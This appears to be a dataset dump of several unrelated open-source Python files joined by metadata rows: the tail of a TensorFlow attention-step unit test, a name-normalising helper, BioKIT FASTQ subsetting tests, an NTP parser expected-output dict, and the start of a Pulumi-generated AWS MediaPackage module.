self.assertAllClose(
state1, {
'atten_state': [[0.], [0.], [0.], [0.], [0.], [0.]],
'atten_context': [[0.41788787, 0.5865286, 0.58267754, 0.21218117],
[0.42178467, 0.5067202, 0.5413259, 0.6616881],
[0.71586907, 0.6303425, 0.52290946, 0.694283],
[0.41789612, 0.58647645, 0.5826333, 0.21220288],
[0.421697, 0.5068262, 0.5411844, 0.66167986],
[0.7156511, 0.63033843, 0.5228955, 0.69437]]
})
def testAttentionStepMultiSourceSame(self):
with self.session(use_gpu=False):
np.random.seed(12345)
src_batch_size = 3
target_batch_size = 6
src_length = 5
query_dim = 5
src_dim = 4
source_vecs_0 = tf.constant(
np.random.rand(src_length, src_batch_size, src_dim), dtype=tf.float32)
source_vecs_1 = tf.constant(
np.random.rand(src_length, src_batch_size, src_dim), dtype=tf.float32)
sources = py_utils.NestedMap(
source_0=source_vecs_0, source_1=source_vecs_1)
source_padding_0 = tf.zeros([src_length, src_batch_size],
dtype=tf.float32)
source_padding_1 = tf.zeros([src_length, src_batch_size],
dtype=tf.float32)
source_paddings = py_utils.NestedMap(
source_0=source_padding_0, source_1=source_padding_1)
query_vec = tf.constant(
np.random.rand(target_batch_size, query_dim), dtype=tf.float32)
p = attention_steps.AttentionStep.Params()
# Setup MultiSourceAttention
p.atten = attention.MultiSourceAttention.Params()
p.atten.source_dim = src_dim
p.atten.query_dim = query_dim
add_atten_params = attention.AdditiveAttention.Params()
add_atten_params.params_init = py_utils.WeightInit.Gaussian(0.1, 12345)
add_atten_params.source_dim = src_dim
add_atten_params.query_dim = query_dim
add_atten_params.hidden_dim = query_dim
add_atten_params.vn.global_vn = False
add_atten_params.vn.per_step_vn = False
add_atten_params.packed_input = True
p.atten.source_atten_tpls = [('source_0', add_atten_params),
('source_1', add_atten_params)]
step = p.Instantiate()
external_inputs = py_utils.NestedMap(src=sources, padding=source_paddings)
packed = step.PrepareExternalInputs(step.theta, external_inputs)
state0 = step.ZeroState(step.theta, packed, target_batch_size)
step_inputs = py_utils.NestedMap(inputs=[query_vec])
step_padding = tf.zeros([target_batch_size, 1], dtype=tf.float32)
output, state1 = step.FProp(step.theta, packed, step_inputs, step_padding,
state0)
self.evaluate(tf.global_variables_initializer())
output, state1 = self.evaluate([output, state1])
self.assertAllClose(
output, {
'context': [[0.9590156, 0.8653384, 1.1668519, 0.697219],
[1.175648, 1.1199431, 1.2219069, 1.1452408],
[1.3191833, 1.0350775, 1.1315871, 1.3297331],
[0.95910096, 0.86546516, 1.1669571, 0.6971649],
[1.175647, 1.1201943, 1.222264, 1.1451368],
[1.3188481, 1.034915, 1.1314276, 1.3297772]],
'probs':
[[0.20118009, 0.19332525, 0.20120151, 0.2022583, 0.20203482],
[0.20019522, 0.20133461, 0.19572362, 0.2025276, 0.2002189],
[0.20116101, 0.20004824, 0.20221081, 0.19645905, 0.20012087],
[0.20123273, 0.19319996, 0.20131132, 0.20220752, 0.2020485],
[0.2002011, 0.2015253, 0.19534773, 0.20260131, 0.20032457],
[0.20097165, 0.19993119, 0.20225787, 0.19671878, 0.20012051]]
})
self.assertAllClose(
state1, {
'atten_state': {
'source_0': [[0.], [0.], [0.], [0.], [0.], [0.]],
'source_1': [[0.], [0.], [0.], [0.], [0.], [0.]]
},
'atten_context': [[0.9590156, 0.8653384, 1.1668519, 0.697219],
[1.175648, 1.1199431, 1.2219069, 1.1452408],
[1.3191833, 1.0350775, 1.1315871, 1.3297331],
[0.95910096, 0.86546516, 1.1669571, 0.6971649],
[1.175647, 1.1201943, 1.222264, 1.1451368],
[1.3188481, 1.034915, 1.1314276, 1.3297772]]
})
def testAttentionStepMultiSourceSameWithGmmAttention(self):
with self.session(use_gpu=False):
np.random.seed(12345)
src_batch_size = 3
target_batch_size = 6
src_length = 5
query_dim = 5
src_dim = 4
source_vecs_0 = tf.constant(
np.random.rand(src_length, src_batch_size, src_dim), dtype=tf.float32)
source_vecs_1 = tf.constant(
np.random.rand(src_length, src_batch_size, src_dim), dtype=tf.float32)
sources = py_utils.NestedMap(
source_0=source_vecs_0, source_1=source_vecs_1)
source_padding_0 = tf.zeros([src_length, src_batch_size],
dtype=tf.float32)
source_padding_1 = tf.zeros([src_length, src_batch_size],
dtype=tf.float32)
source_paddings = py_utils.NestedMap(
source_0=source_padding_0, source_1=source_padding_1)
query_vec = tf.constant(
np.random.rand(target_batch_size, query_dim), dtype=tf.float32)
p = attention_steps.AttentionStep.Params()
# Setup MultiSourceAttention
p.atten = attention.MultiSourceAttention.Params()
p.atten.source_dim = src_dim
p.atten.query_dim = query_dim
gmm_atten_params = attention.GmmMonotonicAttention.Params()
gmm_atten_params.params_init = py_utils.WeightInit.Gaussian(0.1, 12345)
gmm_atten_params.source_dim = src_dim
gmm_atten_params.query_dim = query_dim
gmm_atten_params.hidden_dim = query_dim
gmm_atten_params.vn.global_vn = False
gmm_atten_params.vn.per_step_vn = False
gmm_atten_params.packed_input = True
p.atten.source_atten_tpls = [('source_0', gmm_atten_params),
('source_1', gmm_atten_params)]
step = p.Instantiate()
external_inputs = py_utils.NestedMap(src=sources, padding=source_paddings)
packed = step.PrepareExternalInputs(step.theta, external_inputs)
state0 = step.ZeroState(step.theta, packed, target_batch_size)
step_inputs = py_utils.NestedMap(inputs=[query_vec])
step_padding = tf.zeros([target_batch_size, 1], dtype=tf.float32)
output, state1 = step.FProp(step.theta, packed, step_inputs, step_padding,
state0)
self.evaluate(tf.global_variables_initializer())
output, state1 = self.evaluate([output, state1])
self.assertAllClose(
output, {
'context': [[0.8048796, 0.9554154, 1.2422264, 0.82598877],
[1.1976988, 0.9226365, 1.1311831, 1.1287751],
[1.2583418, 0.96984935, 0.8972859, 1.2939383],
[0.8055052, 0.9545301, 1.2421954, 0.824931],
[1.1980952, 0.9227077, 1.1313919, 1.13009],
[1.2582378, 0.96980226, 0.8973369, 1.2938937]],
'probs':
[[0.05302628, 0.20965888, 0.3661108, 0.26998273, 0.08293614],
[0.05321905, 0.20958655, 0.36570197, 0.270003, 0.08308904],
[0.05327733, 0.20919749, 0.36514452, 0.27033207, 0.08349889],
[0.05328987, 0.20906723, 0.3648241, 0.27042356, 0.08376145],
[0.05301215, 0.21013679, 0.36650375, 0.26960865, 0.08261178],
[0.05328071, 0.20917267, 0.36505368, 0.27032903, 0.08357814]]
})
self.assertAllClose(
state1, {
'atten_state': {
'source_0': [[[2.4243412, 1.2218076, 1.0122609, 0.18427502],
[1.9546769, 0.9721461, 1.0469768, 0.19244196],
[1.7934805, 0.8947478, 1.2158467, 0.18101364],
[2.2727895, 1.1433213, 0.969053, 0.21098366],
[2.1986299, 1.0997422, 1.3713341, 0.23128569]],
[[2.4298353, 1.227302, 1.0116383, 0.18391277],
[1.9476058, 0.96507514, 1.0462759, 0.19275317],
[1.793545, 0.89481235, 1.220826, 0.1817861],
[2.2800756, 1.1506072, 0.96794796, 0.21093304],
[2.194984, 1.0960963, 1.3741415, 0.23061496]],
[[2.4273272, 1.2247936, 1.0106387, 0.18302175],
[1.9522938, 0.96976304, 1.0510013, 0.19241981],
[1.7976122, 0.8988795, 1.2246737, 0.18208173],
[2.2875524, 1.1580843, 0.97309643, 0.21170339],
[2.1904838, 1.0915961, 1.3786552, 0.23077331]],
[[2.4339817, 1.2314482, 1.0118915, 0.18239658],
[1.9538436, 0.9713129, 1.050209, 0.19243228],
[1.7997689, 0.90103614, 1.2248727, 0.18208562],
[2.286818, 1.15735, 0.9776513, 0.2125737],
[2.1872034, 1.0883157, 1.3807379, 0.23051178]],
[[2.4258854, 1.223352, 1.0136935, 0.18414007],
[1.9573982, 0.9748675, 1.0445031, 0.19239089],
[1.7965381, 0.89780533, 1.2112961, 0.18159895],
[2.2637806, 1.1343125, 0.9743988, 0.21178932],
[2.1948628, 1.0959752, 1.366173, 0.23008086]],
[[2.435421, 1.2328876, 1.0118036, 0.18307444],
[1.9479709, 0.96544015, 1.0476727, 0.19277772],
[1.795729, 0.8969963, 1.224472, 0.18180896],
[2.2865427, 1.1570745, 0.9713619, 0.211611],
[2.1911612, 1.0922736, 1.3791639, 0.2307278]]],
'source_1': [[[2.4243412, 1.2218076, 1.0122609, 0.18427502],
[1.9546769, 0.9721461, 1.0469768, 0.19244196],
[1.7934805, 0.8947478, 1.2158467, 0.18101364],
[2.2727895, 1.1433213, 0.969053, 0.21098366],
[2.1986299, 1.0997422, 1.3713341, 0.23128569]],
[[2.4298353, 1.227302, 1.0116383, 0.18391277],
[1.9476058, 0.96507514, 1.0462759, 0.19275317],
[1.793545, 0.89481235, 1.220826, 0.1817861],
[2.2800756, 1.1506072, 0.96794796, 0.21093304],
[2.194984, 1.0960963, 1.3741415, 0.23061496]],
[[2.4273272, 1.2247936, 1.0106387, 0.18302175],
[1.9522938, 0.96976304, 1.0510013, 0.19241981],
[1.7976122, 0.8988795, 1.2246737, 0.18208173],
[2.2875524, 1.1580843, 0.97309643, 0.21170339],
[2.1904838, 1.0915961, 1.3786552, 0.23077331]],
[[2.4339817, 1.2314482, 1.0118915, 0.18239658],
[1.9538436, 0.9713129, 1.050209, 0.19243228],
[1.7997689, 0.90103614, 1.2248727, 0.18208562],
[2.286818, 1.15735, 0.9776513, 0.2125737],
[2.1872034, 1.0883157, 1.3807379, 0.23051178]],
[[2.4258854, 1.223352, 1.0136935, 0.18414007],
[1.9573982, 0.9748675, 1.0445031, 0.19239089],
[1.7965381, 0.89780533, 1.2112961, 0.18159895],
[2.2637806, 1.1343125, 0.9743988, 0.21178932],
[2.1948628, 1.0959752, 1.366173, 0.23008086]],
[[2.435421, 1.2328876, 1.0118036, 0.18307444],
[1.9479709, 0.96544015, 1.0476727, 0.19277772],
[1.795729, 0.8969963, 1.224472, 0.18180896],
[2.2865427, 1.1570745, 0.9713619, 0.211611],
[2.1911612, 1.0922736, 1.3791639, 0.2307278]]]
},
'atten_context': [[0.8048796, 0.9554154, 1.2422264, 0.82598877],
[1.1976988, 0.9226365, 1.1311831, 1.1287751],
[1.2583418, 0.96984935, 0.8972859, 1.2939383],
[0.8055052, 0.9545301, 1.2421954, 0.824931],
[1.1980952, 0.9227077, 1.1313919, 1.13009],
[1.2582378, 0.96980226, 0.8973369, 1.2938937]]
})
def testAttentionStepMultiSourceDifferent(self):
with self.session(use_gpu=False):
np.random.seed(12345)
src_batch_size = 3
target_batch_size = 6
src_length = 5
query_dim = 5
src_dim = 4
source_vecs_0 = tf.constant(
np.random.rand(src_length, src_batch_size, src_dim), dtype=tf.float32)
source_vecs_1 = tf.constant(
np.random.rand(src_length, src_batch_size, src_dim), dtype=tf.float32)
sources = py_utils.NestedMap(
source_0=source_vecs_0, source_1=source_vecs_1)
source_padding_0 = tf.zeros([src_length, src_batch_size],
dtype=tf.float32)
source_padding_1 = tf.zeros([src_length, src_batch_size],
dtype=tf.float32)
source_paddings = py_utils.NestedMap(
source_0=source_padding_0, source_1=source_padding_1)
query_vec = tf.constant(
np.random.rand(target_batch_size, query_dim), dtype=tf.float32)
p = attention_steps.AttentionStep.Params()
# Setup MultiSourceAttention
p.atten = attention.MultiSourceAttention.Params()
p.atten.source_dim = src_dim
p.atten.query_dim = query_dim
add_atten_params = attention.AdditiveAttention.Params()
add_atten_params.params_init = py_utils.WeightInit.Gaussian(0.1, 12345)
add_atten_params.source_dim = src_dim
add_atten_params.query_dim = query_dim
add_atten_params.hidden_dim = query_dim
add_atten_params.vn.global_vn = False
add_atten_params.vn.per_step_vn = False
add_atten_params.packed_input = True
gmm_atten_params = attention.GmmMonotonicAttention.Params()
gmm_atten_params.params_init = py_utils.WeightInit.Gaussian(0.1, 12345)
gmm_atten_params.source_dim = src_dim
gmm_atten_params.query_dim = query_dim
gmm_atten_params.hidden_dim = query_dim
gmm_atten_params.vn.global_vn = False
gmm_atten_params.vn.per_step_vn = False
gmm_atten_params.packed_input = True
p.atten.source_atten_tpls = [('source_0', add_atten_params),
('source_1', gmm_atten_params)]
step = p.Instantiate()
external_inputs = py_utils.NestedMap(src=sources, padding=source_paddings)
packed = step.PrepareExternalInputs(step.theta, external_inputs)
state0 = step.ZeroState(step.theta, packed, target_batch_size)
step_inputs = py_utils.NestedMap(inputs=[query_vec])
step_padding = tf.zeros([target_batch_size, 1], dtype=tf.float32)
output, state1 = step.FProp(step.theta, packed, step_inputs, step_padding,
state0)
self.evaluate(tf.global_variables_initializer())
output, state1 = self.evaluate([output, state1])
self.assertAllClose(
output, {
'context': [[0.9140804, 0.8979037, 1.1033492, 0.70460725],
[1.1748682, 1.0488822, 1.2771418, 1.0938747],
[1.2568944, 1.0808113, 0.9878455, 1.4196949],
[0.9142588, 0.8978502, 1.1039352, 0.7042637],
[1.174994, 1.0493405, 1.2779118, 1.0942582],
[1.2567302, 1.0806134, 0.98783255, 1.4195559]],
'probs':
[[0.20118009, 0.19332525, 0.20120151, 0.2022583, 0.20203482],
[0.20019522, 0.20133461, 0.19572362, 0.2025276, 0.2002189],
[0.20116101, 0.20004824, 0.20221081, 0.19645905, 0.20012087],
[0.20123273, 0.19319996, 0.20131132, 0.20220752, 0.2020485],
[0.2002011, 0.2015253, 0.19534773, 0.20260131, 0.20032457],
[0.20097165, 0.19993119, 0.20225787, 0.19671878, 0.20012051]]
})
self.assertAllClose(
state1, {
'atten_state': {
'source_0': [[0.], [0.], [0.], [0.], [0.], [0.]],
'source_1': [[[2.4243412, 1.2218076, 1.0122609, 0.18427502],
[1.9546769, 0.9721461, 1.0469768, 0.19244196],
[1.7934805, 0.8947478, 1.2158467, 0.18101364],
[2.2727895, 1.1433213, 0.969053, 0.21098366],
[2.1986299, 1.0997422, 1.3713341, 0.23128569]],
[[2.4298353, 1.227302, 1.0116383, 0.18391277],
[1.9476058, 0.96507514, 1.0462759, 0.19275317],
[1.793545, 0.89481235, 1.220826, 0.1817861],
[2.2800756, 1.1506072, 0.96794796, 0.21093304],
[2.194984, 1.0960963, 1.3741415, 0.23061496]],
[[2.4273272, 1.2247936, 1.0106387, 0.18302175],
[1.9522938, 0.96976304, 1.0510013, 0.19241981],
[1.7976122, 0.8988795, 1.2246737, 0.18208173],
[2.2875524, 1.1580843, 0.97309643, 0.21170339],
[2.1904838, 1.0915961, 1.3786552, 0.23077331]],
[[2.4339817, 1.2314482, 1.0118915, 0.18239658],
[1.9538436, 0.9713129, 1.050209, 0.19243228],
[1.7997689, 0.90103614, 1.2248727, 0.18208562],
[2.286818, 1.15735, 0.9776513, 0.2125737],
[2.1872034, 1.0883157, 1.3807379, 0.23051178]],
[[2.4258854, 1.223352, 1.0136935, 0.18414007],
[1.9573982, 0.9748675, 1.0445031, 0.19239089],
[1.7965381, 0.89780533, 1.2112961, 0.18159895],
[2.2637806, 1.1343125, 0.9743988, 0.21178932],
[2.1948628, 1.0959752, 1.366173, 0.23008086]],
[[2.435421, 1.2328876, 1.0118036, 0.18307444],
[1.9479709, 0.96544015, 1.0476727, 0.19277772],
[1.795729, 0.8969963, 1.224472, 0.18180896],
[2.2865427, 1.1570745, 0.9713619, 0.211611],
[2.1911612, 1.0922736, 1.3791639, 0.2307278]]]
},
'atten_context': [[0.9140804, 0.8979037, 1.1033492, 0.70460725],
[1.1748682, 1.0488822, 1.2771418, 1.0938747],
[1.2568944, 1.0808113, 0.9878455, 1.4196949],
[0.9142588, 0.8978502, 1.1039352, 0.7042637],
[1.174994, 1.0493405, 1.2779118, 1.0942582],
[1.2567302, 1.0806134, 0.98783255, 1.419555]]
})
def testAttentionBlockStep(self):
with self.session(use_gpu=False):
np.random.seed(12345)
src_batch_size = 3
target_batch_size = 6
src_length = 5
query_dim = 5
context_dim = 8
hidden_dim = 7
src_dim = context_dim
source_vecs = tf.constant(
np.random.rand(src_length, src_batch_size, src_dim), dtype=tf.float32)
source_padding = tf.zeros([src_length, target_batch_size],
dtype=tf.float32)
p = attention_steps.AttentionBlockStep.Params()
p.attention.atten.params_init = py_utils.WeightInit.Gaussian(0.1, 12345)
p.attention.atten.source_dim = src_dim
p.attention.atten.query_dim = query_dim
p.attention.atten.hidden_dim = hidden_dim
p.attention.atten.vn.global_vn = False
p.attention.atten.vn.per_step_vn = False
p.attention.atten.packed_input = True
p.query_generator.step_input_dim = context_dim
p.query_generator.rnn_cell_dim = query_dim
step = p.Instantiate()
external_inputs = py_utils.NestedMap(
attention=py_utils.NestedMap(src=source_vecs, padding=source_padding))
packed = step.PrepareExternalInputs(step.theta, external_inputs)
state0 = step.ZeroState(step.theta, packed, target_batch_size)
step_padding = tf.zeros([target_batch_size, 1], dtype=tf.float32)
output, state1 = step.FProp(step.theta, packed, None, step_padding,
state0)
self.evaluate(tf.global_variables_initializer())
output, state1 = self.evaluate([output, state1])
self.assertAllClose(
output, {
'atten_query':
np.array([
[
0.1142175, 0.00020437, 0.02718649, -0.06030316,
0.02916641
],
[
0.09362462, 0.07093287, 0.10184045, -0.0228882,
0.06189567
],
[
0.12866478, 0.0121689, 0.05557573, -0.04107622,
0.0543875
],
[
0.1142175, 0.00020437, 0.02718649, -0.06030316,
0.02916641
],
[
0.09362462, 0.07093287, 0.10184045, -0.0228882,
0.06189567
],
[
0.12866478, 0.0121689, 0.05557573, -0.04107622,
0.0543875
],
]),
'atten_context':
np.array([
[
0.55453926, 0.55162865, 0.62239933, 0.26001987,
0.51269007, 0.555924, 0.54857075, 0.51340824
],
[
0.6495046, 0.42096642, 0.605386, 0.79519784,
0.39852753, 0.30938083, 0.53797, 0.43651274
],
[
0.66645885, 0.56522155, 0.67393464, 0.6224826,
0.66094846, 0.6098963, 0.52270895, 0.5319694
],
[
0.55453926, 0.55162865, 0.62239933, 0.26001987,
0.51269007, 0.555924, 0.54857075, 0.51340824
],
[
0.6495046, 0.42096642, 0.605386, 0.79519784,
0.39852753, 0.30938083, 0.53797, 0.43651274
],
[
0.66645885, 0.56522155, 0.67393464, 0.6224826,
0.66094846, 0.6098963, 0.52270895, 0.5319694
],
]),
'atten_probs':
np.array([
[
0.20132412, 0.19545832, 0.20277032, 0.19362292,
0.20682438
],
[
0.20172212, 0.20001633, 0.20166671, 0.20218876,
0.19440602
],
[
0.20540778, 0.20792785, 0.19377577, 0.19288684,
0.20000176
],
[
0.20132412, 0.19545832, 0.20277032, 0.19362292,
0.20682438
],
[
0.20172212, 0.20001633, 0.20166671, 0.20218876,
0.19440602
],
[
0.20540778, 0.20792785, 0.19377577, 0.19288684,
0.20000176
],
])
})
if __name__ == '__main__':
tf.test.main()
| 49.579038 | 80 | 0.521851 | 3,225 | 28,855 | 4.516589 | 0.156899 | 0.025333 | 0.02499 | 0.017507 | 0.892009 | 0.889263 | 0.879651 | 0.873816 | 0.869559 | 0.864685 | 0 | 0.367286 | 0.36375 | 28,855 | 581 | 81 | 49.664372 | 0.426113 | 0.025645 | 0 | 0.818359 | 0 | 0 | 0.010074 | 0 | 0 | 0 | 0 | 0 | 0.017578 | 1 | 0.009766 | false | 0 | 0.011719 | 0 | 0.023438 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
440266d1d8a1fd933422e0eee8e2754478e86572 | 126 | py | Python | toybox/langhelpers.py | podhmo/toybox | f978adfa7eeeac7ad0756e6a328f7d189c1a62ac | [
"MIT"
] | 3 | 2017-02-20T00:51:09.000Z | 2019-08-04T19:11:39.000Z | toybox/langhelpers.py | podhmo/toybox | f978adfa7eeeac7ad0756e6a328f7d189c1a62ac | [
"MIT"
] | 5 | 2017-02-18T17:17:17.000Z | 2020-01-18T00:55:14.000Z | toybox/langhelpers.py | podhmo/toybox | f978adfa7eeeac7ad0756e6a328f7d189c1a62ac | [
"MIT"
] | null | null | null | import re
def normalize(name, ignore_rx=re.compile("[^0-9a-zA-Z_]+")):
return ignore_rx.sub("", name.replace("-", "_"))
| 21 | 60 | 0.626984 | 19 | 126 | 3.947368 | 0.789474 | 0.213333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018018 | 0.119048 | 126 | 5 | 61 | 25.2 | 0.657658 | 0 | 0 | 0 | 0 | 0 | 0.126984 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 7 |
441277a4627faac57940f423fa29136d3e6ad237 | 4,620 | py | Python | tests/integration/fastq/test_subset_pe_fastq_reads.py | JLSteenwyk/BioKIT | 9ca31d8003dc845bf56b2c56c87820c0b05021c4 | [
"MIT"
] | 8 | 2021-10-03T21:08:33.000Z | 2021-12-02T17:15:32.000Z | tests/integration/fastq/test_subset_pe_fastq_reads.py | JLSteenwyk/BioKIT | 9ca31d8003dc845bf56b2c56c87820c0b05021c4 | [
"MIT"
] | null | null | null | tests/integration/fastq/test_subset_pe_fastq_reads.py | JLSteenwyk/BioKIT | 9ca31d8003dc845bf56b2c56c87820c0b05021c4 | [
"MIT"
] | 5 | 2021-10-05T06:25:03.000Z | 2022-01-04T11:01:09.000Z | import pytest
import re
from mock import patch, call # noqa
from pathlib import Path
import sys
from biokit.biokit import Biokit
here = Path(__file__)
@pytest.mark.integration
class TestSubsetPEFastQReads(object):
@patch("builtins.print")
def test_subset_pe_fastq_reads_invalid_input(self, mocked_print): # noqa
with pytest.raises(SystemExit) as pytest_wrapped_e:
Biokit()
assert pytest_wrapped_e.type == SystemExit
assert pytest_wrapped_e.value.code == 2
@patch("builtins.print")
def test_subset_pe_fastq_reads(self, mocked_print):
input_file_1 = (
f"{here.parent.parent.parent}/sample_files/DRR284700_1_subset.fastq"
)
input_file_2 = (
f"{here.parent.parent.parent}/sample_files/DRR284700_2_subset.fastq"
)
testargs = [
"biokit",
"subset_pe_fastq_reads",
input_file_1,
input_file_2,
"-s",
"154",
]
with patch.object(sys, "argv", testargs):
Biokit()
with open(
f"{here.parent.parent}/expected/DRR284700_1_subset_subset.fq", "r"
) as expected_fq_1, open(
f"{here.parent.parent}/expected/DRR284700_2_subset_subset.fq", "r"
) as expected_fq_2:
expected_fq_1 = expected_fq_1.read()
expected_fq_2 = expected_fq_2.read()
output_file_1 = re.sub(".fastq$|.fq$", "_subset.fq", input_file_1)
output_file_2 = re.sub(".fastq$|.fq$", "_subset.fq", input_file_2)
with open(output_file_1, "r") as output_fq_1, open(
output_file_2, "r"
) as output_fq_2:
output_fq_1 = output_fq_1.read()
output_fq_2 = output_fq_2.read()
assert expected_fq_1 == output_fq_1
assert expected_fq_2 == output_fq_2
@patch("builtins.print")
def test_subset_pe_fastq_reads_percent(self, mocked_print):
input_file_1 = (
f"{here.parent.parent.parent}/sample_files/DRR284700_1_subset.fastq"
)
input_file_2 = (
f"{here.parent.parent.parent}/sample_files/DRR284700_2_subset.fastq"
)
testargs = [
"biokit",
"subset_pe_fastq_reads",
input_file_1,
input_file_2,
"-s",
"154",
"-p",
"80",
]
with patch.object(sys, "argv", testargs):
Biokit()
with open(
f"{here.parent.parent}/expected/DRR284700_1_subset_percent80.fq", "r"
) as expected_fq_1, open(
f"{here.parent.parent}/expected/DRR284700_2_subset_percent80.fq", "r"
) as expected_fq_2:
expected_fq_1 = expected_fq_1.read()
expected_fq_2 = expected_fq_2.read()
output_file_1 = re.sub(".fastq$|.fq$", "_subset.fq", input_file_1)
output_file_2 = re.sub(".fastq$|.fq$", "_subset.fq", input_file_2)
with open(output_file_1, "r") as output_fq_1, open(
output_file_2, "r"
) as output_fq_2:
output_fq_1 = output_fq_1.read()
output_fq_2 = output_fq_2.read()
assert expected_fq_1 == output_fq_1
assert expected_fq_2 == output_fq_2
@patch("builtins.print")
def test_subset_pe_fastq_reads_alias(self, mocked_print):
input_file_1 = (
f"{here.parent.parent.parent}/sample_files/DRR284700_1_subset.fastq"
)
input_file_2 = (
f"{here.parent.parent.parent}/sample_files/DRR284700_2_subset.fastq"
)
testargs = [
"biokit",
"subset_pe_fastq",
input_file_1,
input_file_2,
"-s",
"154",
]
with patch.object(sys, "argv", testargs):
Biokit()
with open(
f"{here.parent.parent}/expected/DRR284700_1_subset_subset.fq", "r"
) as expected_fq_1, open(
f"{here.parent.parent}/expected/DRR284700_2_subset_subset.fq", "r"
) as expected_fq_2:
expected_fq_1 = expected_fq_1.read()
expected_fq_2 = expected_fq_2.read()
output_file_1 = re.sub(".fastq$|.fq$", "_subset.fq", input_file_1)
output_file_2 = re.sub(".fastq$|.fq$", "_subset.fq", input_file_2)
with open(output_file_1, "r") as output_fq_1, open(
output_file_2, "r"
) as output_fq_2:
output_fq_1 = output_fq_1.read()
output_fq_2 = output_fq_2.read()
assert expected_fq_1 == output_fq_1
assert expected_fq_2 == output_fq_2
| 32.765957 | 81 | 0.591126 | 607 | 4,620 | 4.103789 | 0.105437 | 0.096347 | 0.052991 | 0.081895 | 0.868326 | 0.868326 | 0.868326 | 0.8611 | 0.8611 | 0.843838 | 0 | 0.054803 | 0.29697 | 4,620 | 140 | 82 | 33 | 0.712131 | 0.001948 | 0 | 0.747899 | 0 | 0 | 0.227865 | 0.170573 | 0 | 0 | 0 | 0 | 0.067227 | 1 | 0.033613 | false | 0 | 0.05042 | 0 | 0.092437 | 0.067227 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
443e500959089d5c17f3abd7b3ee0a029597a4ff | 2,042 | py | Python | src/genie/libs/parser/iosxe/tests/ShowNtpConfig/cli/equal/golden_output_1_expected.py | lukeod/genieparser | ba73846225d82ac19a11bd999ebf18c034e1beb5 | [
"Apache-2.0"
] | null | null | null | src/genie/libs/parser/iosxe/tests/ShowNtpConfig/cli/equal/golden_output_1_expected.py | lukeod/genieparser | ba73846225d82ac19a11bd999ebf18c034e1beb5 | [
"Apache-2.0"
] | null | null | null | src/genie/libs/parser/iosxe/tests/ShowNtpConfig/cli/equal/golden_output_1_expected.py | lukeod/genieparser | ba73846225d82ac19a11bd999ebf18c034e1beb5 | [
"Apache-2.0"
] | null | null | null | expected_output = {
"vrf": {
"VRF1": {
"address": {
"10.64.4.4": {
"isconfigured": {
"True": {"address": "10.64.4.4", "isconfigured": True}
},
"type": {
"server": {
"address": "10.64.4.4",
"type": "server",
"vrf": "VRF1",
}
},
}
}
},
"default": {
"address": {
"10.4.1.1": {
"isconfigured": {
"True": {"address": "10.4.1.1", "isconfigured": True}
},
"type": {
"server": {
"address": "10.4.1.1",
"type": "server",
"vrf": "default",
}
},
},
"10.16.2.2": {
"isconfigured": {
"True": {"address": "10.16.2.2", "isconfigured": True}
},
"type": {
"server": {
"address": "10.16.2.2",
"type": "server",
"vrf": "default",
}
},
},
'10.2.1.1': {
'isconfigured': {
'True': {
'address': '10.2.1.1',
'isconfigured': True}
},
'type': {
'server': {
'address': '10.2.1.1',
'type': 'server',
'vrf': 'default',
'preferred': True}
}
}
}
},
}
}
| 32.412698 | 78 | 0.20715 | 105 | 2,042 | 4.019048 | 0.161905 | 0.21327 | 0.218009 | 0.236967 | 0.862559 | 0.774882 | 0.402844 | 0.175355 | 0 | 0 | 0 | 0.09591 | 0.652791 | 2,042 | 62 | 79 | 32.935484 | 0.499295 | 0 | 0 | 0.290323 | 0 | 0 | 0.20764 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
44722b14a501060bd3b1b85a3bf358fa91097d0d | 111,244 | py | Python | sdk/python/pulumi_aws_native/mediapackage/outputs.py | AaronFriel/pulumi-aws-native | 5621690373ac44accdbd20b11bae3be1baf022d1 | [
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_aws_native/mediapackage/outputs.py | AaronFriel/pulumi-aws-native | 5621690373ac44accdbd20b11bae3be1baf022d1 | [
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_aws_native/mediapackage/outputs.py | AaronFriel/pulumi-aws-native | 5621690373ac44accdbd20b11bae3be1baf022d1 | [
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
from . import outputs
from ._enums import *
__all__ = [
'AssetEgressEndpoint',
'AssetTag',
'ChannelHlsIngest',
'ChannelIngestEndpoint',
'ChannelLogConfiguration',
'ChannelTag',
'OriginEndpointAuthorization',
'OriginEndpointCmafEncryption',
'OriginEndpointCmafPackage',
'OriginEndpointDashEncryption',
'OriginEndpointDashPackage',
'OriginEndpointHlsEncryption',
'OriginEndpointHlsManifest',
'OriginEndpointHlsPackage',
'OriginEndpointMssEncryption',
'OriginEndpointMssPackage',
'OriginEndpointSpekeKeyProvider',
'OriginEndpointStreamSelection',
'OriginEndpointTag',
